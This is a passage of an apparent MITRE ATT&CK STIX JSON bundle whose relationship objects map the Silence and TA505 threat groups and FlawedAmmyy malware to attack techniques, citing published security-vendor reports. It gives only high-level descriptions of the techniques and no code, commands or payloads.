                    "source_name": "Group IB Silence Sept 2018",
                    "url": "https://www.group-ib.com/resources/threat-research/silence_moving-into-the-darkside.pdf",
                    "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020."
                }
            ],
            "description": "[Silence](https://attack.mitre.org/groups/G0091) has weaponized CHM files in their phishing campaigns.(Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017)(Citation: Group IB Silence Aug 2019)(Citation: Group IB Silence Sept 2018)",
            "relationship_type": "uses",
            "id": "relationship--68602080-9968-4a36-9a5e-130343e61566",
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                    "url": "https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/",
                    "source_name": "Cyber Forensicator Silence Jan 2019"
                },
                {
                    "description": "GReAT. (2017, November 1). Silence \u2013 a new Trojan attacking financial organizations. Retrieved May 24, 2019.",
                    "url": "https://securelist.com/the-silence/83009/",
                    "source_name": "SecureList Silence Nov 2017"
                },
                {
                    "source_name": "Group IB Silence Sept 2018",
                    "url": "https://www.group-ib.com/resources/threat-research/silence_moving-into-the-darkside.pdf",
                    "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020."
                }
            ],
            "description": "[Silence](https://attack.mitre.org/groups/G0091) attempts to get users to launch malicious attachments delivered via spearphishing emails.(Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017)(Citation: Group IB Silence Sept 2018)",
            "relationship_type": "uses",
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                    "source_name": "Cyber Forensicator Silence Jan 2019"
                },
                {
                    "description": "GReAT. (2017, November 1). Silence \u2013 a new Trojan attacking financial organizations. Retrieved May 24, 2019.",
                    "url": "https://securelist.com/the-silence/83009/",
                    "source_name": "SecureList Silence Nov 2017"
                },
                {
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                    "url": "https://www.group-ib.com/resources/threat-research/silence_moving-into-the-darkside.pdf",
                    "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020."
                }
            ],
            "description": "[Silence](https://attack.mitre.org/groups/G0091) has used Windows command-line to run commands.(Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017)(Citation: Group IB Silence Sept 2018)",
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                    "url": "https://securelist.com/the-silence/83009/",
                    "source_name": "SecureList Silence Nov 2017"
                },
                {
                    "source_name": "Group IB Silence Sept 2018",
                    "url": "https://www.group-ib.com/resources/threat-research/silence_moving-into-the-darkside.pdf",
                    "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020."
                }
            ],
            "description": "[Silence](https://attack.mitre.org/groups/G0091) has used [Winexe](https://attack.mitre.org/software/S0191) to install a service on the remote system.(Citation: SecureList Silence Nov 2017)(Citation: Group IB Silence Sept 2018)",
            "relationship_type": "uses",
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                    "url": "https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/",
                    "source_name": "Cyber Forensicator Silence Jan 2019"
                }
            ],
            "description": "[Silence](https://attack.mitre.org/groups/G0091) has used VBS scripts.(Citation: Cyber Forensicator Silence Jan 2019)",
            "relationship_type": "uses",
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                    "source_name": "Cyber Forensicator Silence Jan 2019"
                }
            ],
            "description": "[Silence](https://attack.mitre.org/groups/G0091) has used scheduled tasks to stage its operation.(Citation: Cyber Forensicator Silence Jan 2019)",
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                },
                {
                    "description": "GReAT. (2017, November 1). Silence \u2013 a new Trojan attacking financial organizations. Retrieved May 24, 2019.",
                    "url": "https://securelist.com/the-silence/83009/",
                    "source_name": "SecureList Silence Nov 2017"
                },
                {
                    "source_name": "Group IB Silence Sept 2018",
                    "url": "https://www.group-ib.com/resources/threat-research/silence_moving-into-the-darkside.pdf",
                    "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020."
                }
            ],
            "description": "[Silence](https://attack.mitre.org/groups/G0091) has sent emails with malicious DOCX, CHM, LNK and ZIP attachments. (Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017)(Citation: Group IB Silence Sept 2018)",
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                    "description": "GReAT. (2017, November 1). Silence \u2013 a new Trojan attacking financial organizations. Retrieved May 24, 2019.",
                    "url": "https://securelist.com/the-silence/83009/",
                    "source_name": "SecureList Silence Nov 2017"
                }
            ],
            "description": "(Citation: SecureList Silence Nov 2017)",
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                {
                    "description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter",
                    "source_name": "Proofpoint TA505 Sep 2017"
                },
                {
                    "description": "Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times",
                    "source_name": "Proofpoint TA505 June 2018"
                },
                {
                    "source_name": "Proofpoint TA505 Jan 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505",
                    "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."
                },
                {
                    "description": "Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.",
                    "url": "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware",
                    "source_name": "Cybereason TA505 April 2019"
                },
                {
                    "description": "Proofpoint Staff. (2018, July 19). TA505 Abusing SettingContent-ms within PDF files to Distribute FlawedAmmyy RAT. Retrieved April 19, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat",
                    "source_name": "ProofPoint SettingContent-ms July 2018"
                },
                {
                    "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware",
                    "source_name": "Proofpoint TA505 Mar 2018"
                },
                {
                    "source_name": "Trend Micro TA505 June 2019",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/",
                    "description": "Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group\u2019s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."
                },
                {
                    "source_name": "Proofpoint TA505 October 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader",
                    "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."
                },
                {
                    "source_name": "IBM TA505 April 2020",
                    "url": "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/",
                    "description": "Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."
                }
            ],
            "description": "[TA505](https://attack.mitre.org/groups/G0092) has used spearphishing emails with malicious attachments to initially compromise victims.(Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Proofpoint TA505 Jan 2019)(Citation: Cybereason TA505 April 2019)(Citation: ProofPoint SettingContent-ms July 2018)(Citation: Proofpoint TA505 Mar 2018)(Citation: Trend Micro TA505 June 2019)(Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020)",
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                    "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times",
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                }
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                    "description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter",
                    "source_name": "Proofpoint TA505 Sep 2017"
                },
                {
                    "source_name": "Proofpoint TA505 Jan 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505",
                    "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."
                },
                {
                    "source_name": "Trend Micro TA505 June 2019",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/",
                    "description": "Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group\u2019s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."
                },
                {
                    "source_name": "Proofpoint TA505 October 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader",
                    "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."
                }
            ],
            "description": "[TA505](https://attack.mitre.org/groups/G0092) has sent spearphishing emails containing malicious links.(Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 Jan 2019)(Citation: Trend Micro TA505 June 2019)(Citation: Proofpoint TA505 October 2019)",
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                    "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter",
                    "source_name": "Proofpoint TA505 Sep 2017"
                },
                {
                    "description": "Proofpoint Staff. (2018, July 19). TA505 Abusing SettingContent-ms within PDF files to Distribute FlawedAmmyy RAT. Retrieved April 19, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat",
                    "source_name": "ProofPoint SettingContent-ms July 2018"
                },
                {
                    "description": "Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.",
                    "url": "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware",
                    "source_name": "Cybereason TA505 April 2019"
                },
                {
                    "description": "Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019.",
                    "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/",
                    "source_name": "Deep Instinct TA505 Apr 2019"
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            ],
            "description": "[TA505](https://attack.mitre.org/groups/G0092) has used PowerShell to download and execute malware and reconnaissance scripts.(Citation: Proofpoint TA505 Sep 2017)(Citation: ProofPoint SettingContent-ms July 2018)(Citation: Cybereason TA505 April 2019)(Citation: Deep Instinct TA505 Apr 2019)",
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                    "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter",
                    "source_name": "Proofpoint TA505 Sep 2017"
                },
                {
                    "description": "Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times",
                    "source_name": "Proofpoint TA505 June 2018"
                },
                {
                    "source_name": "Trend Micro TA505 June 2019",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/",
                    "description": "Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group\u2019s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."
                },
                {
                    "source_name": "IBM TA505 April 2020",
                    "url": "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/",
                    "description": "Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."
                }
            ],
            "description": "[TA505](https://attack.mitre.org/groups/G0092) has used VBS for code execution.(Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Trend Micro TA505 June 2019)(Citation: IBM TA505 April 2020)",
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                    "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter",
                    "source_name": "Proofpoint TA505 Sep 2017"
                }
            ],
            "description": "[TA505](https://attack.mitre.org/groups/G0092) has used a wide variety of ransomware, such as Locky, Jaff, Bart, Philadelphia, and GlobeImposter, to encrypt victim files and demand a ransom payment.(Citation: Proofpoint TA505 Sep 2017)",
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                    "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter",
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            "description": "[TA505](https://attack.mitre.org/groups/G0092) has used malware to gather credentials from FTP clients and Outlook.(Citation: Proofpoint TA505 Sep 2017)",
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                    "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter",
                    "source_name": "Proofpoint TA505 Sep 2017"
                },
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                    "description": "Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.",
                    "url": "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware",
                    "source_name": "Cybereason TA505 April 2019"
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                    "description": "Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019.",
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                    "source_name": "Deep Instinct TA505 Apr 2019"
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            "description": "[TA505](https://attack.mitre.org/groups/G0092) has password-protected malicious Word documents and used base64 encoded PowerShell commands.(Citation: Proofpoint TA505 Sep 2017)(Citation: Cybereason TA505 April 2019)(Citation: Deep Instinct TA505 Apr 2019)",
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                    "description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter",
                    "source_name": "Proofpoint TA505 Sep 2017"
                },
                {
                    "description": "Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times",
                    "source_name": "Proofpoint TA505 June 2018"
                },
                {
                    "source_name": "Proofpoint TA505 Jan 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505",
                    "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."
                },
                {
                    "description": "Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.",
                    "url": "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware",
                    "source_name": "Cybereason TA505 April 2019"
                },
                {
                    "description": "Proofpoint Staff. (2018, July 19). TA505 Abusing SettingContent-ms within PDF files to Distribute FlawedAmmyy RAT. Retrieved April 19, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat",
                    "source_name": "ProofPoint SettingContent-ms July 2018"
                },
                {
                    "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware",
                    "source_name": "Proofpoint TA505 Mar 2018"
                },
                {
                    "source_name": "Trend Micro TA505 June 2019",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/",
                    "description": "Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group\u2019s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."
                },
                {
                    "source_name": "Proofpoint TA505 October 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader",
                    "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."
                },
                {
                    "source_name": "IBM TA505 April 2020",
                    "url": "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/",
                    "description": "Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."
                }
            ],
            "description": "[TA505](https://attack.mitre.org/groups/G0092) has used lures to get users to enable content in malicious attachments and execute malicious files contained in archives. For example, [TA505](https://attack.mitre.org/groups/G0092) makes their malware look like legitimate Microsoft Word documents, .pdf and/or .lnk files. (Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Proofpoint TA505 Jan 2019)(Citation: Cybereason TA505 April 2019)(Citation: ProofPoint SettingContent-ms July 2018)(Citation: Proofpoint TA505 Mar 2018)(Citation: Trend Micro TA505 June 2019)(Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020)",
            "relationship_type": "uses",
            "id": "relationship--49d6508c-f350-4376-ba32-f64693d7fd10",
            "type": "relationship",
            "modified": "2020-06-01T15:46:48.052Z",
            "created": "2019-05-28T18:49:59.356Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d",
            "target_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556",
            "external_references": [
                {
                    "description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter",
                    "source_name": "Proofpoint TA505 Sep 2017"
                },
                {
                    "source_name": "IBM TA505 April 2020",
                    "url": "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/",
                    "description": "Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."
                }
            ],
            "description": "(Citation: Proofpoint TA505 Sep 2017)(Citation: IBM TA505 April 2020)",
            "relationship_type": "uses",
            "id": "relationship--239a4ed5-afe6-4d1d-8dfe-ee4df7bc01ba",
            "type": "relationship",
            "modified": "2020-06-01T14:53:46.623Z",
            "created": "2019-05-28T18:49:59.414Z"
        },
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            "target_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078",
            "external_references": [
                {
                    "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware",
                    "source_name": "Proofpoint TA505 Mar 2018"
                },
                {
                    "source_name": "Trend Micro TA505 June 2019",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/",
                    "description": "Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group\u2019s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."
                },
                {
                    "source_name": "Proofpoint TA505 October 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader",
                    "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."
                }
            ],
            "description": "(Citation: Proofpoint TA505 Mar 2018)(Citation: Trend Micro TA505 June 2019)(Citation: Proofpoint TA505 October 2019)",
            "relationship_type": "uses",
            "id": "relationship--1b215137-e9e7-4022-af63-8d932c384eb2",
            "type": "relationship",
            "modified": "2020-05-29T20:09:49.523Z",
            "created": "2019-05-28T19:08:05.735Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078",
            "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643",
            "external_references": [
                {
                    "source_name": "Proofpoint TA505 Mar 2018",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware",
                    "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019."
                }
            ],
            "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) will attempt to detect if a usable smart card is current inserted into a card reader.(Citation: Proofpoint TA505 Mar 2018)",
            "relationship_type": "uses",
            "id": "relationship--97361e60-4c54-48f6-a661-e3bd36b9745e",
            "type": "relationship",
            "modified": "2019-05-30T17:23:30.532Z",
            "created": "2019-05-28T19:51:24.729Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "external_references": [
                {
                    "source_name": "Proofpoint TA505 Mar 2018",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware",
                    "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019."
                }
            ],
            "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) enumerates the current user during the initial infection.(Citation: Proofpoint TA505 Mar 2018)",
            "relationship_type": "uses",
            "id": "relationship--2b8418de-6474-49e2-84f0-01ffe6c07a42",
            "type": "relationship",
            "modified": "2019-05-30T17:23:30.547Z",
            "created": "2019-05-28T19:51:24.751Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "external_references": [
                {
                    "source_name": "Proofpoint TA505 Mar 2018",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware",
                    "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019."
                }
            ],
            "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) beacons out the victim operating system and computer name during the initial infection.(Citation: Proofpoint TA505 Mar 2018)",
            "relationship_type": "uses",
            "id": "relationship--0d95b411-1192-42d0-96b1-98fe18742a04",
            "type": "relationship",
            "modified": "2019-05-30T17:23:30.579Z",
            "created": "2019-05-28T19:51:24.755Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "external_references": [
                {
                    "source_name": "Proofpoint TA505 Mar 2018",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware",
                    "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019."
                }
            ],
            "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) will attempt to detect anti-virus products during the initial infection.(Citation: Proofpoint TA505 Mar 2018)",
            "relationship_type": "uses",
            "id": "relationship--7da97f5c-fd61-4181-9775-47abbd5250c0",
            "type": "relationship",
            "modified": "2019-05-30T17:23:30.636Z",
            "created": "2019-05-28T19:51:24.768Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "external_references": [
                {
                    "source_name": "Proofpoint TA505 Mar 2018",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware",
                    "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019."
                }
            ],
            "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) has used SEAL encryption during the initial C2 handshake.(Citation: Proofpoint TA505 Mar 2018)",
            "relationship_type": "uses",
            "id": "relationship--bc4b8f68-3570-474e-8157-225afddda463",
            "type": "relationship",
            "modified": "2020-03-20T23:52:23.789Z",
            "created": "2019-05-28T19:59:45.865Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078",
            "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842",
            "external_references": [
                {
                    "source_name": "Proofpoint TA505 Mar 2018",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware",
                    "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019."
                }
            ],
            "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) may obfuscate portions of the initial C2 handshake.(Citation: Proofpoint TA505 Mar 2018)",
            "relationship_type": "uses",
            "id": "relationship--efd7f218-0e23-458b-be17-afad9545fa25",
            "type": "relationship",
            "modified": "2019-05-30T17:23:30.638Z",
            "created": "2019-05-28T19:59:45.884Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "Proofpoint TA505 Mar 2018",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware",
                    "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019."
                }
            ],
            "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) has used HTTP for C2.(Citation: Proofpoint TA505 Mar 2018)",
            "relationship_type": "uses",
            "id": "relationship--9a5d5258-e0c3-4d73-9d5f-122ed3d7d920",
            "type": "relationship",
            "modified": "2020-03-17T01:19:25.373Z",
            "created": "2019-05-28T19:59:45.899Z"
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            "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "external_references": [
                {
                    "source_name": "Proofpoint TA505 Mar 2018",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware",
                    "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019."
                }
            ],
            "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) has used port 443 for C2.(Citation: Proofpoint TA505 Mar 2018)",
            "relationship_type": "uses",
            "id": "relationship--2ac6157e-2fd2-4e67-892a-f6407d6cbd81",
            "type": "relationship",
            "modified": "2019-05-30T17:23:30.634Z",
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            "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "external_references": [
                {
                    "source_name": "Proofpoint TA505 Mar 2018",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware",
                    "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019."
                }
            ],
            "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) leverages WMI to enumerate anti-virus on the victim.(Citation: Proofpoint TA505 Mar 2018)",
            "relationship_type": "uses",
            "id": "relationship--38f54e6f-502c-4af5-9867-fa9fb8381662",
            "type": "relationship",
            "modified": "2019-05-30T17:23:30.640Z",
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            "target_ref": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336",
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                {
                    "description": "Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.",
                    "url": "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware",
                    "source_name": "Cybereason TA505 April 2019"
                },
                {
                    "description": "Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019.",
                    "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/",
                    "source_name": "Deep Instinct TA505 Apr 2019"
                },
                {
                    "source_name": "Trend Micro TA505 June 2019",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/",
                    "description": "Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group\u2019s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."
                }
            ],
            "description": "[TA505](https://attack.mitre.org/groups/G0092) has used <code>msiexec</code> to download and execute malicious Windows Installer files.(Citation: Cybereason TA505 April 2019)(Citation: Deep Instinct TA505 Apr 2019)(Citation: Trend Micro TA505 June 2019)",
            "relationship_type": "uses",
